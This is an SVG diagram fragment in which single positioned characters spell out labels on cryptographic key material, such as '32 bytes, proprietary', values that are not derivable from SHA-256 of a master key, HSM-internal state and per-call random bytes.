<text text-anchor="middle" x="184" y="20" fill="currentColor">3</text>
<text text-anchor="middle" x="184" y="36" fill="currentColor">N</text>
<text text-anchor="middle" x="184" y="52" fill="currentColor">i</text>
<text text-anchor="middle" x="184" y="68" fill="currentColor">b</text>
<text text-anchor="middle" x="184" y="84" fill="currentColor">0</text>
<text text-anchor="middle" x="184" y="100" fill="currentColor">1</text>
<text text-anchor="middle" x="184" y="116" fill="currentColor">b</text>
<text text-anchor="middle" x="184" y="132" fill="currentColor">t</text>
<text text-anchor="middle" x="184" y="148" fill="currentColor">5</text>
<text text-anchor="middle" x="184" y="180" fill="currentColor">n</text>
<text text-anchor="middle" x="184" y="196" fill="currentColor">T</text>
<text text-anchor="middle" x="184" y="212" fill="currentColor">h</text>
<text text-anchor="middle" x="184" y="228" fill="currentColor">m</text>
<text text-anchor="middle" x="184" y="260" fill="currentColor">l</text>
<text text-anchor="middle" x="184" y="276" fill="currentColor">L</text>
<text text-anchor="middle" x="184" y="292" fill="currentColor">h</text>
<text text-anchor="middle" x="184" y="308" fill="currentColor">a</text>
<text text-anchor="middle" x="184" y="324" fill="currentColor">.</text>
<text text-anchor="middle" x="184" y="340" fill="currentColor">.</text>
<text text-anchor="middle" x="192" y="4" fill="currentColor">1</text>
<text text-anchor="middle" x="192" y="20" fill="currentColor">2</text>
<text text-anchor="middle" x="192" y="36" fill="currentColor">O</text>
<text text-anchor="middle" x="192" y="52" fill="currentColor">n</text>
<text text-anchor="middle" x="192" y="68" fill="currentColor">3</text>
<text text-anchor="middle" x="192" y="84" fill="currentColor">1</text>
<text text-anchor="middle" x="192" y="100" fill="currentColor">6</text>
<text text-anchor="middle" x="192" y="116" fill="currentColor">i</text>
<text text-anchor="middle" x="192" y="132" fill="currentColor">a</text>
<text text-anchor="middle" x="192" y="148" fill="currentColor">4</text>
<text text-anchor="middle" x="192" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="192" y="196" fill="currentColor">y</text>
<text text-anchor="middle" x="192" y="212" fill="currentColor">m</text>
<text text-anchor="middle" x="192" y="228" fill="currentColor">e</text>
<text text-anchor="middle" x="192" y="260" fill="currentColor">e</text>
<text text-anchor="middle" x="192" y="276" fill="currentColor">I</text>
<text text-anchor="middle" x="192" y="292" fill="currentColor">e</text>
<text text-anchor="middle" x="192" y="308" fill="currentColor">i</text>
<text text-anchor="middle" x="200" y="36" fill="currentColor">T</text>
<text text-anchor="middle" x="200" y="52" fill="currentColor">c</text>
<text text-anchor="middle" x="200" y="116" fill="currentColor">g</text>
<text text-anchor="middle" x="200" y="148" fill="currentColor">9</text>
<text text-anchor="middle" x="200" y="180" fill="currentColor">e</text>
<text text-anchor="middle" x="200" y="196" fill="currentColor">p</text>
<text text-anchor="middle" x="200" y="212" fill="currentColor">:</text>
<text text-anchor="middle" x="200" y="228" fill="currentColor">t</text>
<text text-anchor="middle" x="200" y="260" fill="currentColor">n</text>
<text text-anchor="middle" x="200" y="276" fill="currentColor">C</text>
<text text-anchor="middle" x="200" y="292" fill="currentColor">r</text>
<text text-anchor="middle" x="200" y="308" fill="currentColor">n</text>
<text text-anchor="middle" x="200" y="324" fill="currentColor">3</text>
<text text-anchor="middle" x="200" y="340" fill="currentColor">1</text>
<text text-anchor="middle" x="208" y="4" fill="currentColor">0</text>
<text text-anchor="middle" x="208" y="20" fill="currentColor">b</text>
<text text-anchor="middle" x="208" y="52" fill="currentColor">o</text>
<text text-anchor="middle" x="208" y="100" fill="currentColor">b</text>
<text text-anchor="middle" x="208" y="116" fill="currentColor">-</text>
<text text-anchor="middle" x="208" y="132" fill="currentColor">(</text>
<text text-anchor="middle" x="208" y="148" fill="currentColor">.</text>
<text text-anchor="middle" x="208" y="180" fill="currentColor">n</text>
<text text-anchor="middle" x="208" y="196" fill="currentColor">e</text>
<text text-anchor="middle" x="208" y="228" fill="currentColor">e</text>
<text text-anchor="middle" x="208" y="260" fill="currentColor">:</text>
<text text-anchor="middle" x="208" y="276" fill="currentColor">I</text>
<text text-anchor="middle" x="208" y="292" fill="currentColor">t</text>
<text text-anchor="middle" x="208" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="208" y="324" fill="currentColor">2</text>
<text text-anchor="middle" x="208" y="340" fill="currentColor">2</text>
<text text-anchor="middle" x="216" y="4" fill="currentColor">2</text>
<text text-anchor="middle" x="216" y="20" fill="currentColor">y</text>
<text text-anchor="middle" x="216" y="36" fill="currentColor">S</text>
<text text-anchor="middle" x="216" y="52" fill="currentColor">r</text>
<text text-anchor="middle" x="216" y="68" fill="currentColor">(</text>
<text text-anchor="middle" x="216" y="84" fill="currentColor">(</text>
<text text-anchor="middle" x="216" y="100" fill="currentColor">y</text>
<text text-anchor="middle" x="216" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="216" y="132" fill="currentColor">D</text>
<text text-anchor="middle" x="216" y="148" fill="currentColor">1</text>
<text text-anchor="middle" x="216" y="180" fill="currentColor">t</text>
<text text-anchor="middle" x="216" y="196" fill="currentColor">:</text>
<text text-anchor="middle" x="216" y="228" fill="currentColor">r</text>
<text text-anchor="middle" x="216" y="276" fill="currentColor">T</text>
<text text-anchor="middle" x="216" y="292" fill="currentColor">e</text>
<text text-anchor="middle" x="216" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="216" y="324" fill="currentColor">B</text>
<text text-anchor="middle" x="216" y="340" fill="currentColor">1</text>
<text text-anchor="middle" x="224" y="20" fill="currentColor">t</text>
<text text-anchor="middle" x="224" y="36" fill="currentColor">H</text>
<text text-anchor="middle" x="224" y="52" fill="currentColor">p</text>
<text text-anchor="middle" x="224" y="68" fill="currentColor">a</text>
<text text-anchor="middle" x="224" y="84" fill="currentColor">k</text>
<text text-anchor="middle" x="224" y="100" fill="currentColor">t</text>
<text text-anchor="middle" x="224" y="116" fill="currentColor">n</text>
<text text-anchor="middle" x="224" y="132" fill="currentColor">E</text>
<text text-anchor="middle" x="224" y="148" fill="currentColor">.</text>
<text text-anchor="middle" x="224" y="180" fill="currentColor">I</text>
<text text-anchor="middle" x="224" y="228" fill="currentColor">s</text>
<text text-anchor="middle" x="224" y="292" fill="currentColor">x</text>
<text text-anchor="middle" x="224" y="308" fill="currentColor">x</text>
<text text-anchor="middle" x="224" y="340" fill="currentColor">8</text>
<text text-anchor="middle" x="232" y="4" fill="currentColor">0</text>
<text text-anchor="middle" x="232" y="20" fill="currentColor">e</text>
<text text-anchor="middle" x="232" y="36" fill="currentColor">A</text>
<text text-anchor="middle" x="232" y="52" fill="currentColor">o</text>
<text text-anchor="middle" x="232" y="68" fill="currentColor">l</text>
<text text-anchor="middle" x="232" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="232" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="232" y="116" fill="currentColor">d</text>
<text text-anchor="middle" x="232" y="132" fill="currentColor">R</text>
<text text-anchor="middle" x="232" y="148" fill="currentColor">7</text>
<text text-anchor="middle" x="232" y="180" fill="currentColor">n</text>
<text text-anchor="middle" x="232" y="196" fill="currentColor">1</text>
<text text-anchor="middle" x="232" y="212" fill="currentColor">2</text>
<text text-anchor="middle" x="232" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="232" y="292" fill="currentColor">t</text>
<text text-anchor="middle" x="232" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="232" y="324" fill="currentColor">d</text>
<text text-anchor="middle" x="232" y="340" fill="currentColor">B</text>
<text text-anchor="middle" x="240" y="4" fill="currentColor">3</text>
<text text-anchor="middle" x="240" y="20" fill="currentColor">s</text>
<text text-anchor="middle" x="240" y="36" fill="currentColor">-</text>
<text text-anchor="middle" x="240" y="52" fill="currentColor">r</text>
<text text-anchor="middle" x="240" y="68" fill="currentColor">g</text>
<text text-anchor="middle" x="240" y="84" fill="currentColor">y</text>
<text text-anchor="middle" x="240" y="100" fill="currentColor">s</text>
<text text-anchor="middle" x="240" y="116" fill="currentColor">i</text>
<text text-anchor="middle" x="240" y="132" fill="currentColor">)</text>
<text text-anchor="middle" x="240" y="148" fill="currentColor">.</text>
<text text-anchor="middle" x="240" y="180" fill="currentColor">f</text>
<text text-anchor="middle" x="240" y="196" fill="currentColor">.</text>
<text text-anchor="middle" x="240" y="212" fill="currentColor">.</text>
<text text-anchor="middle" x="240" y="276" fill="currentColor">n</text>
<text text-anchor="middle" x="240" y="324" fill="currentColor">k</text>
<text text-anchor="middle" x="248" y="20" fill="currentColor">,</text>
<text text-anchor="middle" x="248" y="36" fill="currentColor">2</text>
<text text-anchor="middle" x="248" y="52" fill="currentColor">a</text>
<text text-anchor="middle" x="248" y="68" fill="currentColor">o</text>
<text text-anchor="middle" x="248" y="100" fill="currentColor">,</text>
<text text-anchor="middle" x="248" y="116" fill="currentColor">a</text>
<text text-anchor="middle" x="248" y="148" fill="currentColor">6</text>
<text text-anchor="middle" x="248" y="180" fill="currentColor">o</text>
<text text-anchor="middle" x="248" y="196" fill="currentColor">2</text>
<text text-anchor="middle" x="248" y="212" fill="currentColor">1</text>
<text text-anchor="middle" x="248" y="244" fill="currentColor">1</text>
<text text-anchor="middle" x="248" y="260" fill="currentColor">1</text>
<text text-anchor="middle" x="248" y="276" fill="currentColor">c</text>
<text text-anchor="middle" x="248" y="340" fill="currentColor">R</text>
<text text-anchor="middle" x="256" y="4" fill="currentColor">0</text>
<text text-anchor="middle" x="256" y="36" fill="currentColor">5</text>
<text text-anchor="middle" x="256" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="256" y="68" fill="currentColor">r</text>
<text text-anchor="middle" x="256" y="84" fill="currentColor">t</text>
<text text-anchor="middle" x="256" y="116" fill="currentColor">n</text>
<text text-anchor="middle" x="256" y="196" fill="currentColor">.</text>
<text text-anchor="middle" x="256" y="212" fill="currentColor">6</text>
<text text-anchor="middle" x="256" y="244" fill="currentColor">2</text>
<text text-anchor="middle" x="256" y="260" fill="currentColor">6</text>
<text text-anchor="middle" x="256" y="276" fill="currentColor">r</text>
<text text-anchor="middle" x="256" y="340" fill="currentColor">S</text>
<text text-anchor="middle" x="264" y="4" fill="currentColor">0</text>
<text text-anchor="middle" x="264" y="20" fill="currentColor">p</text>
<text text-anchor="middle" x="264" y="36" fill="currentColor">6</text>
<text text-anchor="middle" x="264" y="52" fill="currentColor">e</text>
<text text-anchor="middle" x="264" y="68" fill="currentColor">i</text>
<text text-anchor="middle" x="264" y="84" fill="currentColor">y</text>
<text text-anchor="middle" x="264" y="100" fill="currentColor">r</text>
<text text-anchor="middle" x="264" y="196" fill="currentColor">8</text>
<text text-anchor="middle" x="264" y="212" fill="currentColor">.</text>
<text text-anchor="middle" x="264" y="276" fill="currentColor">y</text>
<text text-anchor="middle" x="264" y="308" fill="currentColor">1</text>
<text text-anchor="middle" x="264" y="324" fill="currentColor">→</text>
<text text-anchor="middle" x="264" y="340" fill="currentColor">A</text>
<text text-anchor="middle" x="272" y="20" fill="currentColor">r</text>
<text text-anchor="middle" x="272" y="36" fill="currentColor">(</text>
<text text-anchor="middle" x="272" y="52" fill="currentColor">s</text>
<text text-anchor="middle" x="272" y="68" fill="currentColor">t</text>
<text text-anchor="middle" x="272" y="84" fill="currentColor">p</text>
<text text-anchor="middle" x="272" y="100" fill="currentColor">a</text>
<text text-anchor="middle" x="272" y="116" fill="currentColor">u</text>
<text text-anchor="middle" x="272" y="148" fill="currentColor">(</text>
<text text-anchor="middle" x="272" y="196" fill="currentColor">4</text>
<text text-anchor="middle" x="272" y="212" fill="currentColor">8</text>
<text text-anchor="middle" x="272" y="244" fill="currentColor">b</text>
<text text-anchor="middle" x="272" y="276" fill="currentColor">p</text>
<text text-anchor="middle" x="272" y="292" fill="currentColor">1</text>
<text text-anchor="middle" x="272" y="308" fill="currentColor">1</text>
<text text-anchor="middle" x="272" y="340" fill="currentColor">-</text>
<text text-anchor="middle" x="280" y="20" fill="currentColor">o</text>
<text text-anchor="middle" x="280" y="36" fill="currentColor">C</text>
<text text-anchor="middle" x="280" y="68" fill="currentColor">h</text>
<text text-anchor="middle" x="280" y="84" fill="currentColor">e</text>
<text text-anchor="middle" x="280" y="100" fill="currentColor">n</text>
<text text-anchor="middle" x="280" y="116" fill="currentColor">3</text>
<text text-anchor="middle" x="280" y="148" fill="currentColor">p</text>
<text text-anchor="middle" x="280" y="196" fill="currentColor">0</text>
<text text-anchor="middle" x="280" y="212" fill="currentColor">4</text>
<text text-anchor="middle" x="280" y="244" fill="currentColor">y</text>
<text text-anchor="middle" x="280" y="260" fill="currentColor">(</text>
<text text-anchor="middle" x="280" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="280" y="292" fill="currentColor">6</text>
<text text-anchor="middle" x="280" y="324" fill="currentColor">4</text>
<text text-anchor="middle" x="280" y="340" fill="currentColor">2</text>
<text text-anchor="middle" x="288" y="20" fill="currentColor">p</text>
<text text-anchor="middle" x="288" y="36" fill="currentColor">M</text>
<text text-anchor="middle" x="288" y="52" fill="currentColor">H</text>
<text text-anchor="middle" x="288" y="68" fill="currentColor">m</text>
<text text-anchor="middle" x="288" y="100" fill="currentColor">d</text>
<text text-anchor="middle" x="288" y="116" fill="currentColor">2</text>
<text text-anchor="middle" x="288" y="148" fill="currentColor">k</text>
<text text-anchor="middle" x="288" y="196" fill="currentColor">.</text>
<text text-anchor="middle" x="288" y="212" fill="currentColor">0</text>
<text text-anchor="middle" x="288" y="244" fill="currentColor">t</text>
<text text-anchor="middle" x="288" y="260" fill="currentColor">1</text>
<text text-anchor="middle" x="288" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="288" y="292" fill="currentColor">-</text>
<text text-anchor="middle" x="288" y="308" fill="currentColor">b</text>
<text text-anchor="middle" x="288" y="324" fill="currentColor">3</text>
<text text-anchor="middle" x="288" y="340" fill="currentColor">0</text>
<text text-anchor="middle" x="296" y="20" fill="currentColor">r</text>
<text text-anchor="middle" x="296" y="36" fill="currentColor">K</text>
<text text-anchor="middle" x="296" y="52" fill="currentColor">S</text>
<text text-anchor="middle" x="296" y="84" fill="currentColor">/</text>
<text text-anchor="middle" x="296" y="100" fill="currentColor">o</text>
<text text-anchor="middle" x="296" y="148" fill="currentColor">c</text>
<text text-anchor="middle" x="296" y="196" fill="currentColor">1</text>
<text text-anchor="middle" x="296" y="212" fill="currentColor">.</text>
<text text-anchor="middle" x="296" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="296" y="260" fill="currentColor">2</text>
<text text-anchor="middle" x="296" y="276" fill="currentColor">d</text>
<text text-anchor="middle" x="296" y="292" fill="currentColor">b</text>
<text text-anchor="middle" x="296" y="308" fill="currentColor">y</text>
<text text-anchor="middle" x="296" y="324" fill="currentColor">B</text>
<text text-anchor="middle" x="296" y="340" fill="currentColor">4</text>
<text text-anchor="middle" x="304" y="20" fill="currentColor">i</text>
<text text-anchor="middle" x="304" y="52" fill="currentColor">M</text>
<text text-anchor="middle" x="304" y="68" fill="currentColor">i</text>
<text text-anchor="middle" x="304" y="100" fill="currentColor">m</text>
<text text-anchor="middle" x="304" y="116" fill="currentColor">(</text>
<text text-anchor="middle" x="304" y="148" fill="currentColor">s</text>
<text text-anchor="middle" x="304" y="196" fill="currentColor">1</text>
<text text-anchor="middle" x="304" y="212" fill="currentColor">1</text>
<text text-anchor="middle" x="304" y="244" fill="currentColor">s</text>
<text text-anchor="middle" x="304" y="260" fill="currentColor">8</text>
<text text-anchor="middle" x="304" y="276" fill="currentColor">C</text>
<text text-anchor="middle" x="304" y="292" fill="currentColor">y</text>
<text text-anchor="middle" x="304" y="308" fill="currentColor">t</text>
<text text-anchor="middle" x="304" y="340" fill="currentColor">8</text>
<text text-anchor="middle" x="312" y="20" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="36" fill="currentColor">A</text>
<text text-anchor="middle" x="312" y="52" fill="currentColor">-</text>
<text text-anchor="middle" x="312" y="68" fill="currentColor">d</text>
<text text-anchor="middle" x="312" y="84" fill="currentColor">f</text>
<text text-anchor="middle" x="312" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="148" fill="currentColor">7</text>
<text text-anchor="middle" x="312" y="196" fill="currentColor">3</text>
<text text-anchor="middle" x="312" y="212" fill="currentColor">.</text>
<text text-anchor="middle" x="312" y="260" fill="currentColor">-</text>
<text text-anchor="middle" x="312" y="276" fill="currentColor">o</text>
<text text-anchor="middle" x="312" y="292" fill="currentColor">t</text>
<text text-anchor="middle" x="312" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="312" y="324" fill="currentColor">c</text>
<text text-anchor="middle" x="320" y="20" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="36" fill="currentColor">R</text>
<text text-anchor="middle" x="320" y="52" fill="currentColor">i</text>
<text text-anchor="middle" x="320" y="68" fill="currentColor">e</text>
<text text-anchor="middle" x="320" y="84" fill="currentColor">l</text>
<text text-anchor="middle" x="320" y="100" fill="currentColor">p</text>
<text text-anchor="middle" x="320" y="116" fill="currentColor">.</text>
<text text-anchor="middle" x="320" y="148" fill="currentColor">-</text>
<text text-anchor="middle" x="320" y="196" fill="currentColor">5</text>
<text text-anchor="middle" x="320" y="212" fill="currentColor">1</text>
<text text-anchor="middle" x="320" y="244" fill="currentColor">(</text>
<text text-anchor="middle" x="320" y="260" fill="currentColor">b</text>
<text text-anchor="middle" x="320" y="276" fill="currentColor">n</text>
<text text-anchor="middle" x="320" y="292" fill="currentColor">e</text>
<text text-anchor="middle" x="320" y="308" fill="currentColor">s</text>
<text text-anchor="middle" x="320" y="324" fill="currentColor">t</text>
<text text-anchor="middle" x="320" y="340" fill="currentColor">d</text>
<text text-anchor="middle" x="328" y="20" fill="currentColor">a</text>
<text text-anchor="middle" x="328" y="36" fill="currentColor">N</text>
<text text-anchor="middle" x="328" y="52" fill="currentColor">n</text>
<text text-anchor="middle" x="328" y="68" fill="currentColor">n</text>
<text text-anchor="middle" x="328" y="84" fill="currentColor">a</text>
<text text-anchor="middle" x="328" y="100" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="116" fill="currentColor">g</text>
<text text-anchor="middle" x="328" y="148" fill="currentColor">e</text>
<text text-anchor="middle" x="328" y="196" fill="currentColor">4</text>
<text text-anchor="middle" x="328" y="212" fill="currentColor">0</text>
<text text-anchor="middle" x="328" y="244" fill="currentColor">r</text>
<text text-anchor="middle" x="328" y="260" fill="currentColor">i</text>
<text text-anchor="middle" x="328" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="328" y="340" fill="currentColor">e</text>
<text text-anchor="middle" x="336" y="20" fill="currentColor">r</text>
<text text-anchor="middle" x="336" y="36" fill="currentColor">)</text>
<text text-anchor="middle" x="336" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="336" y="68" fill="currentColor">t</text>
<text text-anchor="middle" x="336" y="84" fill="currentColor">g</text>
<text text-anchor="middle" x="336" y="100" fill="currentColor">r</text>
<text text-anchor="middle" x="336" y="116" fill="currentColor">.</text>
<text text-anchor="middle" x="336" y="148" fill="currentColor">n</text>
<text text-anchor="middle" x="336" y="196" fill="currentColor">9</text>
<text text-anchor="middle" x="336" y="212" fill="currentColor">1</text>
<text text-anchor="middle" x="336" y="244" fill="currentColor">a</text>
<text text-anchor="middle" x="336" y="260" fill="currentColor">t</text>
<text text-anchor="middle" x="336" y="276" fill="currentColor">e</text>
<text text-anchor="middle" x="336" y="292" fill="currentColor">G</text>
<text text-anchor="middle" x="336" y="324" fill="currentColor">+</text>
<text text-anchor="middle" x="336" y="340" fill="currentColor">r</text>
<text text-anchor="middle" x="344" y="20" fill="currentColor">y</text>
<text text-anchor="middle" x="344" y="36" fill="currentColor">,</text>
<text text-anchor="middle" x="344" y="52" fill="currentColor">e</text>
<text text-anchor="middle" x="344" y="68" fill="currentColor">i</text>
<text text-anchor="middle" x="344" y="84" fill="currentColor">s</text>
<text text-anchor="middle" x="344" y="100" fill="currentColor">-</text>
<text text-anchor="middle" x="344" y="148" fill="currentColor">c</text>
<text text-anchor="middle" x="344" y="196" fill="currentColor">.</text>
<text text-anchor="middle" x="344" y="212" fill="currentColor">.</text>
<text text-anchor="middle" x="344" y="244" fill="currentColor">n</text>
<text text-anchor="middle" x="344" y="276" fill="currentColor">n</text>
<text text-anchor="middle" x="344" y="292" fill="currentColor">C</text>
<text text-anchor="middle" x="344" y="308" fill="currentColor">v</text>
<text text-anchor="middle" x="352" y="52" fill="currentColor">r</text>
<text text-anchor="middle" x="352" y="68" fill="currentColor">f</text>
<text text-anchor="middle" x="352" y="84" fill="currentColor">)</text>
<text text-anchor="middle" x="352" y="100" fill="currentColor">c</text>
<text text-anchor="middle" x="352" y="116" fill="currentColor">0</text>
<text text-anchor="middle" x="352" y="148" fill="currentColor">r</text>
<text text-anchor="middle" x="352" y="196" fill="currentColor">1</text>
<text text-anchor="middle" x="352" y="212" fill="currentColor">3</text>
<text text-anchor="middle" x="352" y="244" fill="currentColor">d</text>
<text text-anchor="middle" x="352" y="260" fill="currentColor">a</text>
<text text-anchor="middle" x="352" y="276" fill="currentColor">t</text>
<text text-anchor="middle" x="352" y="292" fill="currentColor">M</text>
<text text-anchor="middle" x="352" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="352" y="324" fill="currentColor">1</text>
<text text-anchor="middle" x="352" y="340" fill="currentColor">→</text>
<text text-anchor="middle" x="360" y="36" fill="currentColor">N</text>
<text text-anchor="middle" x="360" y="52" fill="currentColor">n</text>
<text text-anchor="middle" x="360" y="68" fill="currentColor">i</text>
<text text-anchor="middle" x="360" y="100" fill="currentColor">a</text>
<text text-anchor="middle" x="360" y="116" fill="currentColor">x</text>
<text text-anchor="middle" x="360" y="148" fill="currentColor">y</text>
<text text-anchor="middle" x="360" y="196" fill="currentColor">.</text>
<text text-anchor="middle" x="360" y="212" fill="currentColor">.</text>
<text text-anchor="middle" x="360" y="244" fill="currentColor">o</text>
<text text-anchor="middle" x="360" y="260" fill="currentColor">u</text>
<text text-anchor="middle" x="360" y="308" fill="currentColor">r</text>
<text text-anchor="middle" x="360" y="324" fill="currentColor">6</text>
<text text-anchor="middle" x="368" y="36" fill="currentColor">O</text>
<text text-anchor="middle" x="368" y="52" fill="currentColor">a</text>
<text text-anchor="middle" x="368" y="68" fill="currentColor">e</text>
<text text-anchor="middle" x="368" y="100" fill="currentColor">l</text>
<text text-anchor="middle" x="368" y="116" fill="currentColor">0</text>
<text text-anchor="middle" x="368" y="148" fill="currentColor">p</text>
<text text-anchor="middle" x="368" y="196" fill="currentColor">7</text>
<text text-anchor="middle" x="368" y="212" fill="currentColor">4</text>
<text text-anchor="middle" x="368" y="244" fill="currentColor">m</text>
<text text-anchor="middle" x="368" y="260" fill="currentColor">t</text>
<text text-anchor="middle" x="368" y="292" fill="currentColor">t</text>
<text text-anchor="middle" x="368" y="308" fill="currentColor">h</text>
<text text-anchor="middle" x="368" y="324" fill="currentColor">B</text>
<text text-anchor="middle" x="368" y="340" fill="currentColor">c</text>
<text text-anchor="middle" x="376" y="36" fill="currentColor">T</text>
<text text-anchor="middle" x="376" y="52" fill="currentColor">l</text>
<text text-anchor="middle" x="376" y="68" fill="currentColor">r</text>
<text text-anchor="middle" x="376" y="100" fill="currentColor">l</text>
<text text-anchor="middle" x="376" y="116" fill="currentColor">0</text>
<text text-anchor="middle" x="376" y="148" fill="currentColor">t</text>
<text text-anchor="middle" x="376" y="196" fill="currentColor">.</text>
<text text-anchor="middle" x="376" y="212" fill="currentColor">.</text>
<text text-anchor="middle" x="376" y="244" fill="currentColor">,</text>
<text text-anchor="middle" x="376" y="260" fill="currentColor">h</text>
<text text-anchor="middle" x="376" y="292" fill="currentColor">a</text>
<text text-anchor="middle" x="376" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="376" y="340" fill="currentColor">o</text>
<text text-anchor="middle" x="384" y="68" fill="currentColor">)</text>
<text text-anchor="middle" x="384" y="116" fill="currentColor">0</text>
<text text-anchor="middle" x="384" y="148" fill="currentColor">e</text>
<text text-anchor="middle" x="384" y="196" fill="currentColor">1</text>
<text text-anchor="middle" x="384" y="212" fill="currentColor">1</text>
<text text-anchor="middle" x="384" y="260" fill="currentColor">e</text>
<text text-anchor="middle" x="384" y="292" fill="currentColor">g</text>
<text text-anchor="middle" x="384" y="308" fill="currentColor">a</text>
<text text-anchor="middle" x="384" y="324" fill="currentColor">t</text>
<text text-anchor="middle" x="384" y="340" fill="currentColor">r</text>
<text text-anchor="middle" x="392" y="36" fill="currentColor">d</text>
<text text-anchor="middle" x="392" y="52" fill="currentColor">s</text>
<text text-anchor="middle" x="392" y="116" fill="currentColor">0</text>
<text text-anchor="middle" x="392" y="148" fill="currentColor">d</text>
<text text-anchor="middle" x="392" y="212" fill="currentColor">.</text>
<text text-anchor="middle" x="392" y="244" fill="currentColor">i</text>
<text text-anchor="middle" x="392" y="260" fill="currentColor">n</text>
<text text-anchor="middle" x="392" y="308" fill="currentColor">d</text>
<text text-anchor="middle" x="392" y="324" fill="currentColor">a</text>
<text text-anchor="middle" x="392" y="340" fill="currentColor">r</text>
<text text-anchor="middle" x="400" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="400" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="400" y="116" fill="currentColor">0</text>
<text text-anchor="middle" x="400" y="148" fill="currentColor">D</text>
<text text-anchor="middle" x="400" y="212" fill="currentColor">4</text>
<text text-anchor="middle" x="400" y="244" fill="currentColor">n</text>
<text text-anchor="middle" x="400" y="260" fill="currentColor">t</text>
<text text-anchor="middle" x="400" y="324" fill="currentColor">g</text>
<text text-anchor="middle" x="400" y="340" fill="currentColor">e</text>
<text text-anchor="middle" x="408" y="36" fill="currentColor">r</text>
<text text-anchor="middle" x="408" y="52" fill="currentColor">a</text>
<text text-anchor="middle" x="408" y="116" fill="currentColor">0</text>
<text text-anchor="middle" x="408" y="148" fill="currentColor">a</text>
<text text-anchor="middle" x="408" y="196" fill="currentColor">(</text>
<text text-anchor="middle" x="408" y="212" fill="currentColor">6</text>
<text text-anchor="middle" x="408" y="244" fill="currentColor">d</text>
<text text-anchor="middle" x="408" y="260" fill="currentColor">i</text>
<text text-anchor="middle" x="408" y="308" fill="currentColor">p</text>
<text text-anchor="middle" x="408" y="340" fill="currentColor">s</text>
<text text-anchor="middle" x="416" y="36" fill="currentColor">i</text>
<text text-anchor="middle" x="416" y="52" fill="currentColor">t</text>
<text text-anchor="middle" x="416" y="116" fill="currentColor">7</text>
<text text-anchor="middle" x="416" y="148" fill="currentColor">t</text>
<text text-anchor="middle" x="416" y="196" fill="currentColor">p</text>
<text text-anchor="middle" x="416" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="416" y="260" fill="currentColor">c</text>
<text text-anchor="middle" x="416" y="308" fill="currentColor">e</text>
<text text-anchor="middle" x="416" y="324" fill="currentColor">=</text>
<text text-anchor="middle" x="416" y="340" fill="currentColor">p</text>
<text text-anchor="middle" x="424" y="36" fill="currentColor">v</text>
<text text-anchor="middle" x="424" y="52" fill="currentColor">e</text>
<text text-anchor="middle" x="424" y="116" fill="currentColor">e</text>
<text text-anchor="middle" x="424" y="148" fill="currentColor">a</text>
<text text-anchor="middle" x="424" y="196" fill="currentColor">k</text>
<text text-anchor="middle" x="424" y="244" fill="currentColor">p</text>
<text text-anchor="middle" x="424" y="260" fill="currentColor">a</text>
<text text-anchor="middle" x="424" y="308" fill="currentColor">r</text>
<text text-anchor="middle" x="424" y="340" fill="currentColor">o</text>
<text text-anchor="middle" x="432" y="36" fill="currentColor">a</text>
<text text-anchor="middle" x="432" y="148" fill="currentColor">)</text>
<text text-anchor="middle" x="432" y="196" fill="currentColor">c</text>
<text text-anchor="middle" x="432" y="212" fill="currentColor">(</text>
<text text-anchor="middle" x="432" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="432" y="260" fill="currentColor">t</text>
<text text-anchor="middle" x="432" y="324" fill="currentColor">5</text>
<text text-anchor="middle" x="432" y="340" fill="currentColor">n</text>
<text text-anchor="middle" x="440" y="36" fill="currentColor">b</text>
<text text-anchor="middle" x="440" y="52" fill="currentColor">(</text>
<text text-anchor="middle" x="440" y="116" fill="currentColor">=</text>
<text text-anchor="middle" x="440" y="196" fill="currentColor">s</text>
<text text-anchor="middle" x="440" y="212" fill="currentColor">a</text>
<text text-anchor="middle" x="440" y="244" fill="currentColor">n</text>
<text text-anchor="middle" x="440" y="260" fill="currentColor">i</text>
<text text-anchor="middle" x="440" y="308" fill="currentColor">b</text>
<text text-anchor="middle" x="440" y="324" fill="currentColor">9</text>
<text text-anchor="middle" x="440" y="340" fill="currentColor">d</text>
<text text-anchor="middle" x="448" y="36" fill="currentColor">l</text>
<text text-anchor="middle" x="448" y="52" fill="currentColor">d</text>
<text text-anchor="middle" x="448" y="196" fill="currentColor">7</text>
<text text-anchor="middle" x="448" y="212" fill="currentColor">e</text>
<text text-anchor="middle" x="448" y="244" fill="currentColor">d</text>
<text text-anchor="middle" x="448" y="260" fill="currentColor">o</text>
<text text-anchor="middle" x="448" y="308" fill="currentColor">l</text>
<text text-anchor="middle" x="448" y="324" fill="currentColor">B</text>
<text text-anchor="middle" x="448" y="340" fill="currentColor">i</text>
<text text-anchor="middle" x="456" y="36" fill="currentColor">e</text>
<text text-anchor="middle" x="456" y="52" fill="currentColor">o</text>
<text text-anchor="middle" x="456" y="116" fill="currentColor">1</text>
<text text-anchor="middle" x="456" y="196" fill="currentColor">-</text>
<text text-anchor="middle" x="456" y="212" fill="currentColor">s</text>
<text text-anchor="middle" x="456" y="244" fill="currentColor">e</text>
<text text-anchor="middle" x="456" y="260" fill="currentColor">n</text>
<text text-anchor="middle" x="456" y="308" fill="currentColor">o</text>
<text text-anchor="middle" x="456" y="340" fill="currentColor">n</text>
